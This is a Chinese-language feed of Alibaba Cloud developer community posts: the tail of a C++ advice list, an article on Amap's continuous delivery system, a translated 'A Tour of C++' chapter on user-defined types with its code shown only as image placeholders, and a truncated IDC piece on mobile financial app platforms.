        [ 4 ] 请关注编程技术,而非语言特性。
        [ 5 ] 关于语言定义问题的最终结论,尽在ISO C++标准;16.1.3节;[CG: P.2]。
        [ 6 ] 把有意义的操作“打包”成函数,并给它起个好名字;1.3节;[CG: F.1]。
        [ 7 ] 一个函数最好只执行单一逻辑操作;1.3节;[CG: F.2]。
        [ 8 ] 保持函数简洁;1.3节;[CG: F.3]。
        [ 9 ] 当几个函数对不同类型执行概念上相同的任务时,使用重载;1.3节。
        [10] 如果一个函数可能需要在编译时求值,那么将它声明为constexpr;1.6节;[CG: F.4]。
        [11] 理解语言原语是如何映射到硬件的;1.4节、1.7节、1.9节、2.3节、4.2.2节、4.4节。
        [12] 使用数字分隔符令大的字面值更可读;1.4节;[CG: NL.11]。
        [13] 避免复杂表达式;[CG: ES.40]。
        [14] 避免收缩转换;1.4.2节;[CG: ES.46]。
        [15] 最小化变量的作用域;1.5节。
        [16] 避免使用“魔法常量”,尽量使用符号化的常量;1.6节;[CG: ES.45]。
        [17] 优先采用不可变数据;1.6节;[CG: P.10]。
        [18] 一条语句(只)声明一个名字;[CG: ES.10]。
        [19] 保持公共的和局部名字简短,特殊的和非局部名字则长一些;[CG: ES.7]。
        [20] 避免使用形似的名字;[CG: ES.8]。
        [21] 避免出现字母全是大写的名字;[CG: ES.9]。
        [22] 在声明语句中使用命名类型时,优先使用{}初始化语法;1.4节;[CG: ES.23]。
        [23] 使用auto来避免重复类型名;1.4.2节;[CG: ES.11]。
        [24] 避免未初始化变量;1.4节;[CG: ES.20]。
        [25] 保持作用域尽量小;1.5节;[CG: ES.5]。
        [26] 在if语句的条件中声明变量时,优先采用隐式检验而不是与0进行比较;1.8节。
        [27] 只对位运算使用unsigned;1.4节;[CG: ES.101] [CG: ES.106]。
        [28] 指针的使用尽量简单、直接;1.7节;[CG: ES.42]。
        [29] 使用nullptr而非0或NULL;1.7节;[CG: ES.47]。
        [30] 声明变量时,必须有值可对其初始化;1.7节、1.8节;[CG: ES.21]。
        [31] 可用代码清晰表达的就不要放在注释中说明;[CG: NL.1]。
        [32] 用注释陈述意图;[CG: NL.2]。
        [33] 维护一致的缩进风格;[CG: NL.4]。

        ]]>
        持续交付体系在高德的实践历程-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 1. 前序

        对于工程团队来说,构建一套具有可持续性的、多方面质量保证的交付体系建设,能够为业务价值的快速交付搭建起高速公路,也能为交付过程中的质量起到保驾护航的作用。本文为大家介绍持续交付体系在高德的演进与落地。

        2. 持续交付

        正如前序中所总结的,我们需要构建一套持续交付体系,从而保证在质量不下降的前提下,在业务价值交付上有更进一步的突破。那么我们先了解一下什么是持续交付以及集团在持续交付的建设上有哪些指引。

        **2.1 持续交付概念
        **

        引用Martin Fowler大师在2013年时发表的文章,对于持续交付的概念有如下的解释:Continuous Delivery is a software development discipline where you build software in such a way that the software can be released to production at any time.

        在上述文中,可以提取几个关键词:

        • 软件开发的标准化准则
        • 可以做到随时随地的发布

        什么情况下就可以算是团队达到了持续发布的状态呢?Martin Fowler大师也给出了标准的答案:

        • Your software is deployable throughout its lifecycle
        • Your team prioritizes keeping the software deployable over working on new features
        • Anybody can get fast, automated feedback on the production readiness of their systems any time somebody makes a change to them
        • You can perform push-button deployments of any version of the software to any environment on demand

        那么基于以上的观点,我们在建立自身的持续交付体系时,需要抓住以下几个重点:

        • 标准化流程流转
        • 当有变更进入时,能够快速、准确且自动的得到反馈
        • 解决部署问题的优先级高于功能开发
        • 一键发布

        **2.2 集团的持续交付建设
        **

        从理论基础上对于持续交付有了初步了解后,我们从集团层面了解一下是如何定义持续交付的能力,并且对于持续交付提出了哪些效能改进目标,参见阿里技术公众号的文章 《如何衡量研发效能?阿里资深技术专家提出了5组指标》

        01.png

        文章中将持续价值交付的能力拆分为3个层面的5组指标,从不同角度对持续价值交付能力进行了衡量。

        有了上面专业层面的衡量指标,那我们是如何定义一个优秀的持续交付衡量目标呢?

        管理学之父德鲁克说:“如果你不能度量它,就无法改进它”。度量帮助我们更深刻认识研发效能,设定改进方向,并衡量改进效果,所以想要进行效能提升的前提是先能够识别交付过程中的质效瓶颈。

        因此,集团在基于部分BU的优秀实践下提出了2-1-1的愿景。

        02.png

        • 1小时的发布前置时间是对于基础设施能力的要求,需要保证当达到交付标准后,通过交付流水线能够达到1小时内的打包、部署和验证的能力;
        • 1周的开发周期涉及产品需求拆分、研发QA协作能力、持续测试以及快速反馈能力方面提出了挑战;
        • 2周的需求交付周期是以前两项为基础,不仅是涉及到产研测三方,还包括其他协同部门的通力合作才能保证业务价值的快速交付。

        3. 持续交付在高德

        在基于集团愿景的指导下,反观现有高德服务端的交付流程,我们发现在整个流程中,存在很多效率上的竖井,这些效率问题汇总起来,便会成为整个交付流程上的效能瓶颈,进而影响业务价值的尽早交付。

        03.jpg

        我们先从一个整体的Milestone来回顾一下整个持续交付所经过的一些重要时间节点:

        • 2018/08 构思与工程能力建设:项目启动阶段,工程效率团队与业务线明确了持续交付的目标,并启动了工程能力建设
        • 2018/12 初步落地与试点:项目试点阶段,完成了初步的持续交付流程搭建,并在一个项目中验证流程卡点以及质量标准的基础能力验证。最终建立了基础的质量标准以及降低流程中的耗时
        • 2019/04 推进接入与平台优化:项目推进阶段,持续交付项目质量项优化并在高德的服务端的6条业务线中进行推广,在9月份完成6条业务线以及11个应用的持续交付落地
        • 2019/09 复盘与展望:项目推进总结,对整个推进过程进行复盘与后续持续交付如何落地进行复盘与展望,整体产出业务推进中出现的问题以及改进方法
        • 未来:在交付流程上进行贴合业务线的微创新,并对效能瓶颈点进行纵深挖掘。结合各纵向平台进行纵深挖掘,例如:覆盖率与精准回归、云歌Case平台、代码扫描平台等

        通过milestone的展示,对于高德持续交付体系的演进有了大致的了解后,下面对于落地的过程以及改进的内容进行一下详细的梳理。

        3.1 接入持续交付前的交付流程

        首先先介绍一下在接入持续交付体系之前,高德的服务端是如何进行迭代的开发与上线的。

        04.png

        与大部分互联网公司一样,我们将软件的交付拆分为多个周期,进行迭代式的交付,以便增量式的进行用户价值的交付。上图描述了一个正常迭代周期内的研发、测试以及发布的流程,我们可以拆分为以下几个方面:

        1.迭代周期起始于代码库的变更

        2.在功能开发完成后,研发通过CI系统进行冒烟测试验证,保证服务可以正常启动以及基础功能可用

        3.在规定的提测时间前,研发将Feature分支通过CR和MR合并到迭代分支,部署到日常环境进行提测

        4.QA在收到提测邮件后,参与到日常环境的测试中

        5.当日常环境测试完成后,QA会进行测试报告的产出,并确认日常环境测试通过,可以发布到预发环境

        6.部署到预发环境后,会进行流量回放等测试,并最终通过线上的灰度验证,最终发布到正式环境

        通过上述的图片和描述,我们可以看到在看似完善的软件交付过程中,却仍然存在如下一些质量、效率问题:

        1.需求堆积提测、发布:

        目前高德服务端大部分服务采用的是固定迭代周期进行需求发布,规划到迭代周期内的需求,无论需求大小,均需要等到迭代提测时间点进行提测,在迭代的发布窗口进行发布上线。在这种模式下,好的一点是有固定的版本节奏,整体迭代规划性比较强。但是由于提测、发布窗口固定,从而也带来了整体业务价值交付上的等待。因此,需要通过需求拆分来降低需求内部的耦合性,通过改变研发、QA的开发测试模式来降低需求提测中间的竖井等待,从而提升业务价值交付的效率。

        2.质量标准不透明,无法及时反馈:

        从代码提交一直到最终产品发布,一般情况下,会经历日常、预发、灰度、正式发布几个阶段,每个阶段均有每个阶段需要重点解决的问题以及对质量上的要求也不尽然相同。目前结果的收集汇总和通知都是通过跟版人进行人工收集和统计,并邮件通知项目成员。这样所有的标准控制都是有每个版本的跟版人进行把控,存在信息不透明,反馈不及时的问题。通过质量项标准的建立,以及大盘结果透明和及时的通知,能够解决沟通层面的低效以及在传递过程中信息损耗,从而提升沟通效率,并且避免沟通中的误解。在解决了当前透明化和及时通知的问题后,我们需要进一步从以下两方面进行优化:

        将通知进行分类以及优先级处理,降低通知带来的负面影响

        通过信息内容优化,辅助业务进行问题的快速定位与排查

        3.部署与流程流转过程需要人工参与:

        对于持续发布流程来说,有人工参与的地方势必会影响到其中的效率。所以我们将部署和阶段流转拆分为两个方面看:

        阶段流转:结合上述的阶段标准,通过程序来计算是否能够满足当前的质量情况是否可以进行阶段的流转,从而排除人为因素以及在阶段流转中的耗时,做到准确

        部署:提取相应环境的配置信息,结合Docker化,将打包、部署、健康检查等一些列活动转换为机器的标准化执行,通过标准化来避免人为参与所造成的误差或部署失败的问题

        4.多机房正式发布验证人工监督:

        目前在应用的正式发布流程中,由于涉及的机房和机器数量较多,业务上会进行分批验证,每发布完成一批机器,研发会通知QA进行这批机器中部分机器的抽检(部分自动化测试),在这其中也存在着效率上的问题。所以如何节约每次上线过程中的人力损耗,也是在追求效能极致上需要解决的问题。

        上述的每个细节的问题,都在我们通往快速业务价值交付的道路上设置了障碍。因此,为了达成更早(快)的交付业务价值的目标下,我们必须要在交付效率、质量标准以及结果快速反馈这几方面的进行优化。

        3.2 持续交付在高德的落地

        基于上节拆分出来的4方面的问题,从工程角度来说,由于迭代的排期,需求的分解与拆分需要进行长期的实践与规划,并且依赖于产、研、测、项乃至于其他部门的支撑,是一个需要进行逐步探索和调整的过程。所以我们将着眼点放到后3方面的建设上,期望在短期内先建立起快速发布的能力,清除在交付过程中效率低下的点。

        那么在解决效率问题的建设上,借助于集团提供的发布流程以及较好的部署能力,我们将目前拆解为如下几个维度的抓手:

        依托于集团的发布流程,在持续交付体系中建立与集团发布流程对应的标准化流程流转机制

        建立服务端质量标准体系,拉通质量标准,去人工化

        打通各环节的快速反馈机制,并对发布流程进行管控,让变更结果随时可见

        降低发布过程中的人为参与,让整个发布流程做到全程无人值守

        通过下面持续交付流程图,我们通过接入后的流程图中看一下以上4个抓手是如何串联起整体高德持续交付流程,并且这几项是如何在高德服务端交付流程中进行落地的。

        05.png

        建立标准化的流程流转机制

        FY19高德服务端发生的线上问题中,其中由于变更或发布引发的问题占比约12%。通过这组数据,我们期望能够通过建立一套完整的交付流转流程,实现对于变更的控制和管理,降低或避免此类问题的发生。

        基于以上立论,我们结合当前服务端交付特点,首先先确立以集团标准发布流程为试点,打通整体持续交付流程;其次,针对各应用中不同的需求,例如:需要性能环境、覆盖率环境等,结合流水线配置,将整个持续交付的流程流转进行优化;最终沉淀为各服务的标准化流程流转机制。通过这种先僵化,后优化,再固化的方式,最终在服务端落地了多套标准的交付流程,避免了在交付环节上的遗漏,以及不规范的操作。

        06.png

        拉通并落地服务端质量体系标准

        在高德现有的交付流程中,整体的质量保障手段大部分是在日常阶段进行的,在迭代交付的过程中,各项质量保障手段执行了哪些,执行结果是什么,目前还是通过QA人员进行人工问题收集与汇总,并判定阶段结果的通过与否。在这种情况下,会出现由于跟版人交替导致的质量项遗漏,以及质量标准难以把控的情况。

        所以基于这几方面的问题,我们希望通过用机器把控替代原有的人工把控的方式,通过建立标准化的质量模板,来避免整体执行标准不透明,执行结果无沉淀的情况。并且,通过拉通标准,也进一步的规避掉了非重点服务质量检查点遗漏的情况。

        通过与业务团队的沟通,我们在第一阶段将现有服务端的质量保证手段进行拆分,提取了在不同阶段中相对重要的12项质量项,通过机器监督替代原有的人为统计的方式。具体覆盖了如下几个维度:

        12.jpg

        打通各环节的快速反馈机制,并对发布流程进行管控,让变更结果随时可见

        当建立起有效的质量体系后,在各阶段有了质量要求以及准入准出标准,解决了信息收集方面的问题,那么接下来我们要思考的就是如何将收集上来的各种信息,有效的反馈到项目中的各个干系人,以便进行后续的决策支撑,并且当未达到阶段准出标准时,有效的控制项目的阶段流转。

        我们将问题拆解为两方面看,一是有效反馈、决策支撑,二是流程流转的管控。

        从有效反馈、决策支撑方面看:

        在接入持续交付之前,各业务线的针对不同类型的自动化测试任务,大部分都有通过Jenkins或测试用例工程反馈结果的通知。但是此类反馈有一个致命的问题,就是通过单项反馈无法纵观全局,不足以支撑后续的决策。

        在接入持续交付后,除了原有业务上的反馈机制,平台提供能针对当期版本的整体状态全览,可以通过平台随时观测到当前版本是否达到可发布的状态或者仍然存在哪些不足。将两者结合起来后,针对项目执行人仍然可以通过原有反馈机制了解到单点的质量结果;对于跟版人、一线、二线管理者这类需要纵观全局的角色来说,通过质量大盘,可以有效且明确的知道当前版本与待发布状态的差距,并支撑后续决策以及调整关注的重点

        07.jpg

        从流程管控方面看:

        在接入持续交付之前,可部署的产物无论是否经过阶段验证,都可人为的部署到任意环境下,虽然灵活性比较高,但是也存在一定的质量风险。

        在设计持续交付流程时,对于灵活性以及规范性的取舍方面,我们也与业务同学进行了讨论。从全局看,为了避免流程不规范引起漏测或其它线上事故,最终确定在初版时先保证流程流转的规范性,从而降低灵活部署上所带来质量上的风险。平台通过集团实验室插件与集团的部署发布系统打通,当阶段中存在质量项尚未达标的情况下,阻止发布流程进入到下一阶段(环节)。

        当基础的持续交付流程落地后,为了满足业务上对灵活性的要求,目前我们也在尝试通过自定义流水线来进行多环境的分发与部署,从而在保证主要阶段流转有管控的同时,增加部署的灵活性,以适应不同的业务形态。

        08.png

        降低流程发布过程中的人为参与,让整个流程做到全程无人值守

        我们知道,线上环境部署的复杂程度要远高于在日常和预发环境的部署。由于部分业务线,线上的机器数量众多,且分布在不同机房,为了保证部署时的服务可用性,线上部署时会将上千台机器拆分为多批次进行部署。

        在接入持续交付前,为了保证部署后服务的可用性以及对质量上的高标准要求,在每批次部署完成后,QA都需要针对当前批次进行全批次验证或抽测验证,当验证通过后,再进行下一批次的发布以及后续验证。虽然验证本身是通过自动化脚本进行验证,但由于机器和批次比较多,整个发布和验证流程会持续数小时,存在较大的效率问题。

        在了解到业务上此效率瓶颈后,通过打通上下游系统,集团标准流程、集团发布系统以及原有业务的线上验证工程,针对不同业务的发布场景,进行发布验证策略的配置化。通过感知部署时的消息,获取当批次部署的机器列表,依据各业务的验证策略配置进行自动化的验证。并且结合线上阶段的报警监控,当某批次发布验证出现问题后,系统可以第一时间定位到具体是哪一批次中的哪台机器发布出现问题,帮助业务进行部署问题的快速定位。

        09.png

        持续交付体系的业务架构

        10.png

        4. 落地效果

        整个持续交付体系建设,目前在高德服务端落地已经有一段时间了,截止到目前为止:

        业务线覆盖:整个持续交付体系已经覆盖了高德服务端大部分重点业务

        各阶段质量项建设:12项

        正式发布阶提效:50%~90%

        在获得以上成果的同时,除了上述量化指标外,更有价值的是隐含在背后的研发、测试习惯上的变化。从研发、QA和项目主动发起的缩短项目周期,到QA对于质量项上提出更多的诉求等等,无一不感知到大家对于尽早且高质量的交付业务价值这件事情的重视。当然对于更早(快)的交付业务价值这个目标还有一定的差距,这个也是后续我们与业务线需要共同解决的问题。

        5. 持续交付的未来

        011.jpg

        有人将持续交付形容为在价值交付上的高速公路,持续交付的落地,标志着价值交付到用户的快速路已经建立完成。但是最终是否能做到更早(快)的交付业务价值,还取决于在这条快速路上行驶的车辆。

        根据这个理论,我们除了要保证这条高速公路上不出现坑洼的同时,还要兼顾车辆本身的能力,以及车辆的性能。因此,在车辆出发前,我们更需要通过对车辆的车况进行检查,保证在高速路上行驶的车辆不会因为自身的原因提不起速度。

        5.1 车况检查

        目前,已有的持续集成系统,仅能够保证车辆在这条路上是能开起来的,车况的检查都是在上了高速后才开始的(大部分的质量保证手段是部署到日常环境后才开始)。所以基于上面描述的指导方针,我们需要尽早的做检查,并且需要做更全面的检查(质量保障手段左移)。

        基于这个目标以及结合集团内其他BU的优秀实践,后续我们希望能通过代码门禁的手段,尽早落地这类全面的检查。若要将代码门禁落地,无论是对于工程效率团队亦或是业务研发与QA团队,都有着不小的挑战,我们需要做到以下的转变:

        • QA

        质量保证的同期化能力建设

        质量保证的稳定性与耗时优化

        • RD

        研发提交代码流程的改变

        单元测试能力的建设

        Code Review的常态化落地以及规范总结

        • 能力支撑

        代码覆盖率,业务场景覆盖率的支撑

        代码合并的门禁管控能力

        代码扫描结合CodeReview的总结的落地

        当逐步完成以上任务的落地后,能够消除批量交付业务价值交付中相互等待的时间,并且也能够保证车辆在持续交付这条高速路上行驶得更快更稳定。

        5.2 车辆性能提升

        前面车辆检查可以说是在车辆上路之前的检查与保障,将质量保证手段左移到研发阶段。相对的,我们希望通过车辆性能提升的方法,在车辆上路后,能够让车辆行驶提速更快,拉高速度的上限。

        • 纵向测试能力提升

        精准回归:通过感知代码的变化,推导出代码变动所影响的Case,让质量保障更为精准且耗时更少

        场景覆盖:结合线上流量回放,通过代码覆盖、场景覆盖进行查缺补漏,让质量保障更完整

        问题定位:结合失败用例,快速的进行问题定位与反馈

        同期化能力:结合云歌Case平台,通过接口定义进行测试代码与研发代码同期化编写能力的加强,以及降低Case编写和维护成本方面的探索

        降低数据干扰:基于高频、隔离和用完即抛的理论实践,降低日常环境的数据干扰,让质量保证更有效

        • 与线上数据挖掘结合

        大数据分析:

        利用线上日志分析,产出线上真实场景模型,降低压测平台语料准备耗时,场景筛选上做到精确、高效

        大数据运用:

        结合线上真实场景以及场景覆盖率,构造线下回归Case集,降低业务回归Case维护成本,提升Case有效率,并且能够快速定位问题

        利用场景回放,以及记录回放中间产物,解决在单测时场景构造问题

        随着持续交付快速通道的搭建完成,期望通过以持续交付体系为契机,在多个纵向维度进行深入挖掘,并完善整个持续交付体系,最终在更早(快)的交付业务价值的前提下,能够有更高的质量以及更低的人工成本,保证市场竞争的先机,让高德在激烈的竞争中优势更为明显。

        ]]>
        带你读《C++语言导学》之二:用户自定义类型-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 点击查看第一章
        点击查看第三章

        第2章

        A Tour of C++, Second Edition

        用户自定义类型

        不必惊慌失措!—道格拉斯·亚当斯

        2.1 引言

        用基本类型(参见1.4节)、const修饰符(参见1.6节)和声明运算符(参见1.7节)构造出来的类型,称为内置类型(built-in type)。C++的内置类型及其操作非常丰富,不过有意设计得更偏底层。这些内置类型能直接、高效地反映传统计算机硬件的能力,但是没有为程序员提供便于编写高级应用程序的高层设施。取而代之,C++在内置类型和操作的基础上增加了一套精致的抽象机制(abstraction mechanism),程序员可用它来构造所需的高层设施。
        C++抽象机制的目的主要是令程序员能够设计并实现他们自己的数据类型,这些类型具有恰如其分的表示和操作,程序员可以简单优雅地使用它们。利用C++的抽象机制从其他类型构造出来的类型被称为用户自定义类型(user-defined type),即类(class)和枚举(enumeration)。用户自定义类型可以基于内置类型构造,也可基于其他用户自定义类型构造。本书的大部分内容都在着重介绍用户自定义类型的设计、实现和使用。用户自定义类型通常优于内置类型,因为其更易用、更不易出错,而且通常与直接使用内置类型实现相同功能一样高效,甚至更快。
        本章的剩余部分将呈现类型定义和使用相关的最简单同时也是最基础的语言设施。第4~7章对抽象机制及其支持的编程风格进行了更加详细的介绍。第8~15章给出标准库的概述,因为标准库主要是由用户自定义类型组成的,所以这些章节也提供了很好的示例,展示了用第1~7章介绍的语言设施和编程技术能做什么。

        2.2 结构

        构造新类型的第一步通常是把所需的元素组织成一种数据结构,即一个struct:
        image.png
        这是Vector的第一个版本,它包含一个int和一个double*。
        Vector类型的变量可像这样定义:
        image.png
        但是,就v本身而言,它的用处似乎不大,因为v的elem指针并没有指向任何东西。为了让它变得有用,我们必须给出一些元素,令v指向它们。例如,我们可以构造一个如下所示的Vector:
        image.png
        也就是说,v的elem成员被赋予了一个由new运算符生成的指针,而v的sz成员则得到了元素的数目。Vector&中的&指出,我们是通过非const引用(参见1.7节)方式传递v的,这样vector_init()就能修改传给它的向量了。
        new运算符从一块名为自由存储(free store)(又称为动态内存(dynamic memory)或堆(heap))的区域中分配内存。在自由存储中分配的对象独立于它创建时所处的作用域,会一直“存活”到使用delete运算符(参见4.2.2节)销毁它为止。
        Vector的一个简单应用如下所示:
        image.png
        显然,我们的Vector在优雅程度和灵活性上与标准库vector还有很大差距,尤其是Vector的使用者必须知道有关其表示方式的所有细节。本章余下的部分以及接下来的两章会逐步改进Vector,作为呈现语言特性和技术的一个示例。作为对比,第11章会介绍标准库vector,其中包含着很多良好的改进。
        本书使用vector和其他标准库组件作为示例,以

        • 展现语言特性和设计技术
        • 帮助读者学会使用这些标准库组件。

        不要试图重写vector和string等标准库组件,直接使用它们更为明智。
        我们可以通过名字(或引用)访问struct的成员,此时使用.(点运算符);也可通过指针访问struct的成员,此时使用->。例如:
        image.png
        image.png

        2.3 类

        将数据说明与其操作分离开来有其优势,例如我们可以以任意方式使用数据。但对于用户自定义类型来说,为了具备“真正的类型”所需的所有性质,在其表示形式和操作之间建立紧密的联系是很有必要的。特别是,我们通常希望保持数据表示对用户不可见,从而实现易用性、保证数据使用的一致性以及允许设计者未来改进数据表示。为此,我们必须将类型的接口(所有人均可使用)与其实现(可访问对外部不可见的数据)分离开来。在C++中,实现上述目的的语言机制称为类(class)。类含有一系列成员(member),它可以是数据、函数或者类型。类的public成员定义了接口,private成员则只能通过接口访问。例如:
        image.png
        在此基础上,我们可以定义新类型Vector的一个变量:
        image.png
        下图解释了这个Vector变量的构成:
        image.png
        本质上,Vector对象是一个“句柄”,它包含指向元素的指针(elem)以及元素数目(sz)。在不同Vector对象中元素数目可能不同(本例是6),即使同一个Vector对象在不同时刻也可能含不同数目的元素(参见4.2.3节),但Vector对象本身的大小永远保持不变。这是C++语言处理可变数量信息的一项基本技术:一个固定大小的句柄指向位于“别处”(如通过new分配的自由空间,参见4.2.2节)的一组可变数量的数据。第4章的主题就是学习如何设计并使用这样的对象。
        在这里,我们只能通过Vector的接口访问其数据表示(成员elem和sz),而接口是由其public成员提供的:Vector(), operator[]()和size()。这样,2.2节的read_and_sum()示例可简化为:
        image.png
        image.png
        与所属类同名的成员“函数”称为构造函数(constructor),即,它是用来构造类的对象的。因此构造函数Vector()替换了2.2节的vector_init()。与普通函数不同,编译器会保证在初始化类对象时使用构造函数,因此,定义构造函数可以消除类变量未初始化问题。
        Vector(int)规定了Vector对象的构造方式。特别是,它声明需要一个整数来构造对象。这个整数用于指定元素数目。构造函数使用成员初始化列表来初始化Vector的成员:
        image.png
        这条语句的含义是:首先从自由空间获取s个double类型的元素,然后用指向这些元素的指针初始化elem;然后使用s初始化sz。
        访问元素的功能是由下标函数opeartor[]提供的,它返回所需元素的引用(double&,既允许读也允许写)。
        size()函数的作用是向使用者提供元素数目。
        显然,我们完全没有涉及错误处理,但将在3.5节提及。类似地,我们也没有提供一种机制来“归还”通过new获取的double数组,4.2.2节将介绍如何使用析构函数来优雅地完成这一任务。
        struct和class没有本质区别,struct就是一种成员默认为public的class。例如,你也可以为struct定义构造函数和其他成员函数。

        2.4 联合

        union是一种特殊的struct,它的所有成员被分配在同一块内存区域中,因此,联合实际占用的空间就是它最大的成员所占的空间。自然,在某个时刻,一个union中只能保存一个成员的值。例如,一个符号表表项结构保存一个名字和一个值,值可以是一个Node*或一个int:
        image.png
        因为p和i永远不会同时使用,所以浪费了内存空间。通过将两者定义为一个union的成员,可以很容易地解决该问题,如下所示:
        image.png
        C++不会记录一个union保存了哪种值,因此程序员必须自己做这个工作:
        image.png
        维护类型域(type field,在本例中是t)与union中所存类型的对应关系很容易出错。为了避免错误,我们可以强制这种对应关系—将联合和类型域封装在一个类中、只允许通过能正确使用联合的成员函数来访问它们。在应用层面上,依赖这种标记联合(tagged union)的抽象很常见也很有用。我们应尽量少地使用“裸”union。
        在大多数情况下,我们可以使用标准库类型variant来避免直接使用union。一个variant保存一组可选类型中一个类型的值(参见13.5.1节)。例如,一个variant,int>可以保存一个Node或一个int。
        使用variant,Entry的例子可改写为:
        image.png
        对于很多应用,使用variant都比使用union更简单、更安全。

        2.5 枚举

        除了类之外,C++还提供了一种形式简单的用户自定义类型,可以用来枚举一系列值:
        image.png
        注意,枚举值(如red)位于其enum class的作用域之内,因此我们可以在不同的enum class中重复使用这些枚举值而不致引起混淆。例如,Color::red是指Color的red,它与Traffic_light::red显然不同。
        枚举类型常用于描述规模较小的整数值集合。通过使用有指代意义的(且易于记忆的)枚举值名字,可以提高代码的可读性,降低出错的风险。
        enum后面的class关键字指明了枚举是强类型的,且它的枚举值位于指定的作用域中。不同的enum class是不同的类型,这有助于防止对常量的意外误用。例如,我们不能混用Traffic_light和Color的值:
        image.png
        同样,我们也不能隐式地混用Color和整数值:
        image.png
        捕捉试图向枚举类型的转换是避免错误的一种好的防御措施,但我们常常希望用枚举类型的基础类型(默认是int)的值对其初始化,这就要允许从基础类型隐式转换为枚举类型:
        image.png
        默认情况下,enum class只定义了赋值、初始化和比较(如==和<,参见1.4节)操作。然而,既然枚举类型是一种用户自定义类型,那么就可以为它定义别的运算符:
        image.png
        如果你不想显式地限定枚举值名字,并且希望枚举值可以是int(无须显式转换),你可以去掉enum class中的class而得到一个“普通”enum。“普通”enum中的枚举值的作用域与其enum的作用域一致,并且会隐式地转换成整数值。例如:
        image.png
        在这里,col的值是1。默认情况下,枚举值对应的整数从0开始,依次加1。“普通”enum很早就出现在C++和C中了,所以即使它的效果并不是那么好,在当前的代码中仍很常见。

        2.6 建议

        [ 1 ] 当内置类型过于底层时,优先使用定义良好的用户自定义类型;2.1节。
        [ 2 ] 将有关联的数据组织为结构(struct或class);2.2节;[CG: C.1]。
        [ 3 ] 用class表达接口与实现的区别;2.3节;[CG: C.3]。
        [ 4 ] 一个struct就是一个成员默认为public的class;2.3节。
        [ 5 ] 定义构造函数以保证和简化类的初始化;2.3节;[CG: C.2]。
        [ 6 ] 避免使用“裸”union;将其与类型域封装在一个类中;2.4节;[CG: C.181]。
        [ 7 ] 用枚举类型表达一组命名的常量;2.5节;[CG: Enum.2]。
        [ 8 ] 与 “普通” enum相比,优先使用class enum,以避免很多麻烦;2.5节;[CG: Enum.3]。
        [ 9 ] 为枚举定义操作来简化使用、保证安全;2.5节;[CG: Enum.4]。

        ]]>
        IDC中国助理副总裁周震刚:“移动优先”是金融机构数字化转型必经之路-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 11月4日,在第二十七届中国国际金融展上,蚂蚁金服联合国际数据公司IDC发布《移动金融科技助力新时代金融机构转型升级——中国金融级移动应用开发平台白皮书》(以下简称《白皮书》)。《白皮书》指出,在企业数字化转型浪潮中,移动化、场景化、智能化成为金融业务的重要发展方向,金融机构正全力推动零售转型,加速执行移动优先战略。

        金融机构迫切需要引入新一代移动设计开发思想

        IDC中国助理副总裁周震刚表示,移动金融业务场景的爆发性增长、“数字化原生代”的迅速崛起和“数字化移民”的不断增加,都是推动金融机构执行移动优先战略,实现零售转型的重要因素。

        他认为,熟悉移动应用的“数字化原生代”在追求丰富、高频、优质移动金融服务的同时,也加速了金融机构业务模式的深刻变革。金融机构围绕客⼾的场景化进行业务布局,通过⼈⼯智能、⼤数据分析等⼀系列数字化技术带动业务创新,不断开拓移动金融业务场景,为客⼾提供⽆处不在的、内嵌式的⾦融服务。

        然而,呈现爆发性增长的金融移动应用需求对金融机构围绕移动端的业务开发和保障能力提出了极大挑战。IDC调研显⽰,38%的受访对象表⽰技术能⼒不⾜是⾦融机构发展移动应⽤时⾯临的主要挑战,同时,80%的受访对象表⽰提升技术能⼒来满⾜快速迭代的业务需求是移动⾦融战略的主要⽬标。在这样的形势下,金融机构迫切需要引入新一代移动设计开发思想,利用先进的移动应用开发平台实现在开发、运维、管理以及快速迭代方面的一系列变革。

        周震刚认为,移动应用开发平台是面向企业的、与移动业务有关的综合能力开发平台,它应能覆盖移动应用的全生命周期,包括开发、集成、部署实施和运维管理等不同阶段,为APP的开发、测试、发布、运营及运维提供一站式解决方案,因此,应至少具备以下主要特征:

        敏捷的开发能力:即具备统⼀的开发框架和规范,拥有⽀撑模块化开发的丰富组件,并利⽤⼀体化的管 理实现极短的迭代周期。如:采⽤统⼀的开发平台和开发框架,引⼊DevOps研发协同⼯具统⼀管理包 括开发、测试、发布环节在内的应⽤程序的全⽣命周期。

        稳定的平台性能:针对⾼并发、⼤流量的场景,采⽤⾼可⽤架构和组件优化等技术⼿段综合保证稳定的移动应⽤性能。如:显著提升APP开启速度,快速定位和解决⽩屏、卡顿等问题。

        移动体验优化:引⼊移动时代专属的设计思维和业务模式,针对前端设计和交互进⾏有效优化,提⾼移动端使⽤体验。

        丰富的场景化解决⽅案能⼒:聚焦⾦融领域的业务特性,输出标准化的应⽤功能组合,提供⾯向⽣态的能⼒闭环。向其他合作伙伴或⾏业集成商开放接⼝,⽀持第三⽅的标准化接⼊,引⼊第三⽅的⾏业解决⽅案能⼒。如:具备第三⽅场景的H5、⼩程序接⼊能⼒。

        智能的运维管理:除⾃动化的运维⼯具外,还需要融合⼤数据技术、机器学习、智能算法等,实现⾃动化的智能分析、告警和预测,⽀持IT管理者做出精准决策。

        数字化运营能⼒:数字化运营⽅式深⼊洞察业务本质,运⽤数据驱动业务增⻓,提升⽤⼾使 ⽤价值。如:运⽤⽤⼾⾏为分析⼯具,对包括拉新、促活、成⻓环节在内的⽤⼾经营全⽣命 周期进⾏管理。

        image.png

        金融级移动开发平台如何选型?

        除了要具备覆盖移动应用的全生命周期的能力,统⼀的开发框架、强大的移动中台和全面的资源整合能力也是移动开发平台不可缺少的能力。周震刚指出,金融机构在选择适合的金融级移动开发平台时,需要从产品功能技术、产品交付过程、行业成功案例以及数字化运维能力4个层面进行考虑。

        产品层⾯的功能完备性和技术先进性

        企业移动应⽤开发平台应⾸先具备符合当前开发要求的完备⽀撑架构,包括后台连接管理、移动中台和客⼾端等不同范畴内的各种对象、接⼝、框架、功能、组件、算法等。通过开放的平台架构汇聚来源于不同⼚商的技术子项,保持在业内的技术领先地位,代表移动应⽤系统各层⾯的未来发展趋势。此外,还应关注移动应⽤领域的安全问题,为建⽴具有移动特性的安全保障体系提供技术指导。

        ⾏业内的成功的实践案例

